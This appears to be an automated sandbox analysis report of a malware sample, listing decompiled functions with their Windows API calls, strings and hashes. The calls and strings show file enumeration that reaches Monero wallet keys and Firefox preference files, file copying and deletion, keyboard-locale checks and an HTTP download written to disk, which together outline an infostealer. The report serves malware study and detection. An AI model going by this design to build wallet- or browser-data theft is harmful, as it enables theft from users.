Instruction ID: 66d4bee78f8a769206da31205225396818e2c64268b3ff01dcbbeea30b065475
Opcode Fuzzy Hash: 30d0d15e86b68675ebac77737c0c4ebda32ca0e76c872e1d090134427631562e
Instruction Fuzzy Hash: 4C425572950108ABDB14FB70DD96EED777DAF84300F404568BD06A7181EF38AB49EB92

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
__aulldiv.LIBCMT ref: 6CAD36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD3773
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD377E
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD37C4
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37CB
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD3801
__aulldiv.LIBCMT ref: 6CAD3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAD3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAD3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAD394C

Strings

QPC, xrefs: 6CAD38FC
GTC, xrefs: 6CAD3912
GenuntelineI, xrefs: 6CAD3639
AuthcAMDenti, xrefs: 6CAD3946
MOZ_TIMESTAMP_MODE, xrefs: 6CAD35DB

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction ID: 95bf5db5b0ebb5880c8b0fa89e6741b461b4431e1eda18075855c6483917fb64
Opcode Fuzzy Hash: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction Fuzzy Hash: DDB1E671B093509FDB08DF28C85461ABBF6FB8A704F49892EE899D7790D774A844CB81

Function 00F44910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00F4492C
FindFirstFileA.KERNEL32(?,?), ref: 00F44943
StrCmpCA.SHLWAPI(?,00F50FDC), ref: 00F44971
StrCmpCA.SHLWAPI(?,00F50FE0), ref: 00F44987
FindNextFileA.KERNEL32(000000FF,?), ref: 00F44B7D
FindClose.KERNEL32(000000FF), ref: 00F44B92

Strings

%s\*, xrefs: 00F44920
%s\%s, xrefs: 00F449A4
%s\%s, xrefs: 00F449FB

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2576b0df92fe4745667da81c0a9d148badcbc8b23e4c7ee6facad757907ff793
Instruction ID: f6f1431809e7edd9e061d38d40440efe866ec4603e97dacdf574a2b7b6a2af98
Opcode Fuzzy Hash: 2576b0df92fe4745667da81c0a9d148badcbc8b23e4c7ee6facad757907ff793
Instruction Fuzzy Hash: 066163B2900218ABCB34EBA0EC45FEE777CFF48701F044598BA1996145EB35EB859F91

Function 00F43EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00F43EC3
FindFirstFileA.KERNEL32(?,?), ref: 00F43EDA
StrCmpCA.SHLWAPI(?,00F50FAC), ref: 00F43F08
StrCmpCA.SHLWAPI(?,00F50FB0), ref: 00F43F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00F4406C
FindClose.KERNEL32(000000FF), ref: 00F44081

Strings

%s\%s, xrefs: 00F43EB7

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 3e7adbe3cdc2a8fc75f488a267f2a96bd0b1d3c98f0928762de2679dcf907135
Instruction ID: ace471e03ce0886ad42814078aa5d7921e3b032b256d44468f9c125517528f6f
Opcode Fuzzy Hash: 3e7adbe3cdc2a8fc75f488a267f2a96bd0b1d3c98f0928762de2679dcf907135
Instruction Fuzzy Hash: EA5164B2900218ABCB24FBB0DC85EEE777CBF44701F044598B66992144EB75EB899F51

Function 00F3F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F515B8,00F50D96), ref: 00F3F71E
StrCmpCA.SHLWAPI(?,00F515BC), ref: 00F3F76F
StrCmpCA.SHLWAPI(?,00F515C0), ref: 00F3F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00F3FAB1
FindClose.KERNEL32(000000FF), ref: 00F3FAC3

Strings

prefs.js, xrefs: 00F3F812

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9a9e6c6618370246f538c3efdda51a4e4560de701120e0aad0134b7bdebdfc8a
Instruction ID: d4d5cc1ad3223d04872f6a884109c69400e1f9f0323a94154d2e51aa48f8aad7
Opcode Fuzzy Hash: 9a9e6c6618370246f538c3efdda51a4e4560de701120e0aad0134b7bdebdfc8a
Instruction Fuzzy Hash: A2B134719401089BDB24FF60DC56BEE7779EF54300F4085A8A90A97181EF38AB49EF92

Function 00F316D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F5510C,?,?,?,00F551B4,?,?,00000000,?,00000000), ref: 00F31923
StrCmpCA.SHLWAPI(?,00F5525C), ref: 00F31973
StrCmpCA.SHLWAPI(?,00F55304), ref: 00F31989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F31D40
DeleteFileA.KERNEL32(00000000), ref: 00F31DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00F31E20
FindClose.KERNEL32(000000FF), ref: 00F31E32

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Strings

\*.*, xrefs: 00F317F1

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 8ff63ff838c18647dd927219a9c7f934f2bc9354ad6e35d9ae12227e67b99a8e
Instruction ID: 18d6b90754d35c241832327be63a7de81ab49e1acc4b3f5bb6e5241d87807bde
Opcode Fuzzy Hash: 8ff63ff838c18647dd927219a9c7f934f2bc9354ad6e35d9ae12227e67b99a8e
Instruction Fuzzy Hash: EC124571950118ABEB19FB60DC96EEE7778FF54300F404199B90A62091EF386F89EF91

Function 00F3DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F514B0,00F50C2A), ref: 00F3DAEB
StrCmpCA.SHLWAPI(?,00F514B4), ref: 00F3DB33
StrCmpCA.SHLWAPI(?,00F514B8), ref: 00F3DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00F3DDCC
FindClose.KERNEL32(000000FF), ref: 00F3DDDE

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 4af53ee430572bd80ffb60e46d1f6c2bf10cb13a9b10ee0f28150ae94a386826
Instruction ID: bd18d88efb8c1fdde932cc3974d403e8cbb2c7dbcdf06d6e90679d33ca065f8e
Opcode Fuzzy Hash: 4af53ee430572bd80ffb60e46d1f6c2bf10cb13a9b10ee0f28150ae94a386826
Instruction Fuzzy Hash: F5914472900108ABDB14FB70EC569ED777DAF84300F408668FD1A96185FF389B59EB92

Function 00F360A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F34839
Part of subcall function 00F347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F34849

InternetOpenA.WININET(00F50DF7,00000001,00000000,00000000,00000000), ref: 00F3610F
StrCmpCA.SHLWAPI(?,0078FB70), ref: 00F36147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00F3618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00F361B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00F361DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00F3620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00F36249
InternetCloseHandle.WININET(?), ref: 00F36253
InternetCloseHandle.WININET(00000000), ref: 00F36260

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 6c645a79af30518f2af9e50047951bf10ea952a84e20baba90f9d4853dd697ea
Instruction ID: 71a659328f2bc96f6893775b2cc867a285bbccf15857571a30f67bc013c8f1a7
Opcode Fuzzy Hash: 6c645a79af30518f2af9e50047951bf10ea952a84e20baba90f9d4853dd697ea
Instruction Fuzzy Hash: DB5191B1940208ABEF24DF50DC45BEE77B8FF04715F1080A8B606A72C1DB75AA85DFA5

Function 00F47B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

GetKeyboardLayoutList.USER32(00000000,00000000,00F505AF), ref: 00F47BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00F47BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00F47C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00F47C62
LocalFree.KERNEL32(00000000), ref: 00F47D22

Strings

/ , xrefs: 00F47C7F

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
